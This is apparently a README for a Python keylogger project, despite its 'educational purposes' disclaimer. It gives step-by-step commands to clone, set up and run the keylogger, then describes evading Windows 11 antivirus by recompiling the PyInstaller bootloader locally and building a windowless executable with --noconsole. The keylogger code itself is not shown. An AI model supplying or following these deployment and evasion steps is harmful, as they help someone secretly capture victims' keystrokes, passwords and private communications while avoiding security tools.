This code DOES NOT promote or encourage any illegal activities! The content in this document is provided solely for educational purposes and to create awareness!
- To run this code use
git clone https://github.com/davidbombal/python-keylogger.git
- Run the command
cd python-keylogger
- Create Virtual Environment. Using command
apt install python3.10-venv -y
python3 -m venv keylogger_env
- Run command
# Window
keylogger_env/Scripts/activate
# Linux
chmod +x keylogger_env/bin/activate
source keylogger_env/bin/activate
- Run the command to install all the packages required in your virtual environment.
apt-get install python3.10-dev -y
pip install -r requirements.txt
- Run
python3 keylogger.py
this will run the program.
To get the file to run on Windows 11 evading the antivirus I compiled the PyInstaller bootloader locally using Microsoft C/C++ compiler, and then used it to compile the code.
pip install pyinstaller
pyinstaller -F keylogger.py --noconsole